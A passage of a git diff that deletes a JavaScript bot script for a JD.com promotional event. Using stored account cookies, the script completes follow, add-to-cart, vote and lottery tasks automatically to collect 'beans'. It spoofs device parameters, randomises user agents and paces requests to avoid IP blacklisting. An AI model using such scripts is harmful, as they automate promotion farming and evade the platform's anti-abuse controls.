this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_decompression.js b/backUp/jd_decompression.js deleted file mode 100644 index fa2874f..0000000 --- a/backUp/jd_decompression.js +++ /dev/null @@ -1,589 +0,0 @@ -/** - * 蚊子腿豆子,活动时间:9.21-10.16 10月16号应该可以参与瓜分 - * 第一个号会给作者助力,其他号会给第一个号助力,活动期间貌似只有一次助力机会 - cron 5 6,18 1-16,21-30 9,10 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_decompression.js - */ -const $ = new Env('热血心跳,狂解压'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = []; -$.activityID = 'dz2109100009716201'; -$.shopid = '1000085868'; -$.shareUuid = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - let res = []; - try{res = await getAuthorShareCode('https://raw.githubusercontent.com/lsh26/share_code/main/decompression.json');}catch (e) {} - if(!res){ - try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/decompression.json');}catch (e) {} - if(!res){res = [];} - } - if(res.length > 0){ - $.shareUuid = getRandomArrayElements(res,1)[0]; - } - for (let i = 0; i < cookiesArr.length; i++) { - await getUA(); - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.oldcookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - await TotalBean(); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main(); - console.log(`防止黑IP,等待30秒`); - await $.wait(30000); - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); - - -async function main() { - $.token = ``; - await getToken(); - if($.token === ``){ - console.log(`获取token失败`);return; - } - console.log(`获取token成功`) - await getActCk(); - $.pin = ''; - await takePostRequest('getMyPing'); - if($.pin === ``){ - $.hotFlag = true; - console.log(`获取pin失败,该账号可能是黑号`);return; - } - await getUserInfo(); - $.cookie=$.cookie + `AUTH_C_USER=${$.pin}` - await accessLogWithAD(); - $.cookie=$.cookie + `AUTH_C_USER=${$.pin}` - console.log(`初始化`); - $.activityData = {}; - await takePostRequest('activityContent'); - if(JSON.stringify($.activityData) === `{}`){ - console.log(`获取活动详情失败`);return; - } - console.log(`获取活动详情成功`); - console.log(`助力码:${$.activityData.actorUuid}`); - await doTask(); - await $.wait(3000); - await takePostRequest('activityContent'); - await $.wait(2000); - //await takePostRequest('guafen'); - let score = $.activityData.score; - console.log(`可投票次数:`+score); - let scoreFlag = false; - $.canScore = true; - let aa = 0; - for (let i = 0; i < score && $.canScore && aa < 40; i++) { - scoreFlag = true; - console.log(`进行第${i+1}次投票`); - await takePostRequest('insxintiao'); - await $.wait(1500); - aa++; - } - if(scoreFlag){ - await $.wait(1000); - await takePostRequest('activityContent'); - await $.wait(1000); - } - let score2 = $.activityData.score2; - console.log(`可扭蛋次数:`+score2); - if(score2 > 0){ - await takePostRequest('drawContent'); - await $.wait(1000); - } - $.score2Flag = true; - $.score2Time = 0; - for (let i = 0; i < score2 && $.score2Flag && $.score2Time< 10; i++) { - console.log(`进行第${i+1}次扭蛋`); - await takePostRequest('draw'); - await $.wait(1500); - $.score2Time++; - } - if($.index === '1'){ - $.shareUuid = $.activityData.actorUuid; - } -} - -async function doTask(){ - $.taskValue = ''; - if(!$.activityData.signStatus){ - console.log(`去签到`); - $.taskType=0; - await takePostRequest('saveTask'); - await $.wait(1000); - }else{ - console.log(`已签到`); - } - if(!$.activityData.followShopStatus){ - console.log(`去关注店铺`); - $.taskType=23; - await takePostRequest('saveTask'); - await $.wait(1000); - }else{ - console.log(`已关注`); - } - if(!$.activityData.addCartStatus){ - console.log(`去执行加购`); - $.taskType=21; - await takePostRequest('saveTask'); - await $.wait(1000); - }else{ - console.log(`已执行加购`); - } - let toMainData = $.activityData.toMainData; - for (let i = 0; i < toMainData.length; i++) { - $.taskType=12; - if(!toMainData[i].toMainStatus){ - console.log(`去执行浏览会场`); - $.taskValue = toMainData[i].value; - await takePostRequest('saveTask'); - await $.wait(1000); - } - } - let toShopStatus = $.activityData.toShopStatus; - for (let i = 0; i < toShopStatus.length; i++) { - $.taskType=14; - if(!toShopStatus[i].toShopStatus){ - console.log(`去执行浏览店铺`); - $.taskValue = toShopStatus[i].value; - await takePostRequest('saveTask'); - await $.wait(1000); - } - } - let viewViewData = $.activityData.viewViewData; - for (let i = 0; i < viewViewData.length; i++) { - $.taskType=31; - if(!viewViewData[i].viewViewStatus){ - console.log(`去执行浏览视频`); - $.taskValue = viewViewData[i].value; - await takePostRequest('saveTask'); - await $.wait(1000); - } - } - if(!$.activityData.zhiboStatus){ - console.log(`去观看直播`); - $.taskType=10; - $.taskValue=10; - await takePostRequest('saveTask'); - await $.wait(1000); - }else{ - console.log(`已观看直播`); - } -} -async function takePostRequest(type){ - let url = ''; - let body = ``; - switch (type) { - case 'getMyPing': - url= `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`; - body = `userId=${$.shopid}&token=${encodeURIComponent($.token)}&fromType=APP`; - break; - case 'activityContent': - url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activityContent'; - body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` - break; - case 'saveTask': - url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/saveTask'; - body = `pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&taskType=${$.taskType}&actorUuid=${$.activityData.actorUuid}&shareUuid=${$.shareUuid}&taskValue=${$.taskValue}`; - break; - case 'insxintiao': - url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/insxintiao'; - body = `pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&playerId=15`; - break; - case 'draw': - url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/draw'; - body = `activityId=${$.activityID}&uuid=${$.activityData.actorUuid}&pin=${encodeURIComponent($.pin)}`; - break; - case 'drawContent': - url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/common/drawContent'; - body = `activityId=dz2109100009716201&pin=${encodeURIComponent($.pin)}`; - break; - case 'guafen': - url= 'https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/guafen'; - body = `activityId=dz2109100009716201&pin=${encodeURIComponent($.pin)}&playerId=8`; - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url,body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if(data){ - dealReturn(type, data); - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function dealReturn(type, data) { - try { - data = JSON.parse(data); - }catch (e) { - console.log(`执行任务异常`); - console.log(data); - $.runFalag = false; - $.canScore = false; - } - switch (type) { - case 'getMyPing': - if (data.data && data.data.secretPin) { - $.pin = data.data.secretPin - $.nickname = data.data.nickname - }else{ - console.log(JSON.stringify(data)); - } - break; - case 'activityContent': - if (data.data && data.result && data.count === 0) { - $.activityData = data.data; - } else { - console.log(JSON.stringify(data)); - } - break; - case 'saveTask': - if (data.result === true && data.count === 0) { - console.log(`执行成功,获得京豆:${data.data.beans || 0}`); - } else { - console.log(JSON.stringify(data)) - } - //console.log(JSON.stringify(data)) - break; - case 'insxintiao': - if (data.result === true && data.count === 0) { - console.log(`投票成功`); - }else{ - $.canScore = false; - } - //console.log(JSON.stringify(data)); - break; - case 'draw': - if (data.result === true && data.count === 0) { - let wdsrvo = data.data.wdsrvo; - if(wdsrvo.drawInfoType === 6){ - console.log(`获得京豆:${wdsrvo.name}`); - }else if(wdsrvo.drawInfoType === 0){ - console.log(`啥都没有抽到`); - }else{ - console.log(`获得其他`); - } - } else { - $.score2Flag = false; - //console.log(JSON.stringify(data)) - } - console.log(JSON.stringify(data)) - break; - case 'insertCrmPageVisit': - console.log(JSON.stringify(data)) - break; - case 'getSimpleActInfoVo': - console.log(JSON.stringify(data)) - break; - case 'guafen': - if (data.result === true && data.count === 0) { - console.log(`瓜分获得:${data.data.beans || '0'}`) - } - console.log(JSON.stringify(data)) - break; - default: - console.log(JSON.stringify(data)); - } -} - -function getPostRequest(url,body) { - let headers = { - 'Host': 'lzdz1-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'content-type': 'application/x-www-form-urlencoded', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'user-agent': $.UA, - 'Connection':'keep-alive', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activity/dz2109100009716201?activityId=dz2109100009716201`, - 'Cookie': $.cookie, - } - - return {url: url, method: `POST`, headers: headers, body: body}; -} -async function getUserInfo() { - const url = `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`; - const method = `POST`; - const headers = { - 'Host' : `lzdz1-isv.isvjcloud.com`, - 'X-Requested-With' : `XMLHttpRequest`, - 'Connection' : `keep-alive`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Content-Type' : `application/x-www-form-urlencoded`, - 'Origin' : `https://lzdz1-isv.isvjcloud.com`, - 'User-Agent' : `JD4iPhone/162751 (iPhone; iOS 14.6; Scale/3.00)`, - 'Cookie' : $.cookie , - 'Referer' : `https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activity/${$.activityID}`, - 'Accept-Language' : `zh-cn`, - 'Accept' : `application/json` - }; - const body = `pin=${encodeURIComponent($.pin)}`; - let myRequest = {url: url, method: method, headers: headers, body: body}; - return new Promise(resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - } - else { - if(data){ - data = JSON.parse(data); - if(data.count === 0 && data.result){ - $.attrTouXiang = data.data.yunMidImageUrl - != data.data.yunMidImageUrl ? $.attrTouXiang = data.data.yunMidImageUrl : $.attrTouXiang = "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - } - } - } - } catch (e) { - console.log(e, resp) - } finally { - resolve(); - } - }) - }) -} -function accessLogWithAD() { - let config = { - url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, - headers: { - 'Host': 'lzdz1-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'content-type': 'application/x-www-form-urlencoded', - 'Origin':'https://lzdz1-isv.isvjcloud.com', - 'user-agent': $.UA, - 'Connection':'keep-alive', - 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activity/dz2109100009716201?activityId=dz2109100009716201`, - 'Cookie': $.cookie, - }, - body:`venderId=${$.shopid}&code=99&pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&pageUrl=https%3A%2F%2Flzdz1-isv.isvjcloud.com%2Fdingzhi%2Fvivo%2Fiqoojieyapa%2Factivity%2F492728%3FactivityId%3Ddz2109100009716201%26shareUuid%3D%26adsource%3Dnull%26shareuserid4minipg%3D${encodeURIComponent($.pin)}%26shopid%3D1000085868%26lng%3D121.330619%26lat%3D31.292002%26sid%3Db1f8c732fcae5db1c375c5f51e92287w%26un_area%3D2_2826_51942_0&subType=app&adSource=null` - } - return new Promise(resolve => { - $.post(config, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.cookie = $.oldcookie; - if ($.isNode()) - for (let ck of resp['headers']['set-cookie']) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getActCk() { - let config = { - url: `https://lzdz1-isv.isvjcloud.com/dingzhi/vivo/iqoojieyapa/activity/dz2109100009716201`, - headers: { - 'Host': 'lzdz1-isv.isvjcloud.com', - 'Accept': 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'user-agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie, - } - } - return new Promise(resolve => { - $.get(config, (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.cookie = $.oldcookie; - if ($.isNode()) - for (let ck of resp['headers']['set-cookie']) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - $.cookie = `${$.cookie}${ck.split(";")[0]};` - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getToken() { - let config = { - url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', - body: 'area=2_2830_51828_0&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone9%2C2&eid=eidI42470115RDhDRjM1NjktODdGQi00RQ%3D%3DB3mSBu%2BcGp7WhKUUyye8/kqi1lxzA3Dv6a89ttwC7YFdT6JFByyAtAfO0TOmN9G2os20ud7RosfkMq80&isBackground=N&joycious=95&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=5a8a5743a5d2a4110a8ed396bb047471ea120c6a&osVersion=14.6&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=d24754441cd36764a1c2a2d98a2d45dd&st=1628758493429&sv=122', - headers: { - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', - 'content-type': 'application/x-www-form-urlencoded', - 'Cookie': $.cookie - } - } - return new Promise(resolve => { - $.post(config, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - $.token = data['token'] - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -async function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - "url": `${url}`, - "timeout": 10000, - "headers": { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(data || []); - } - }) - await $.wait(10000) - resolve(); - }) -} -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let 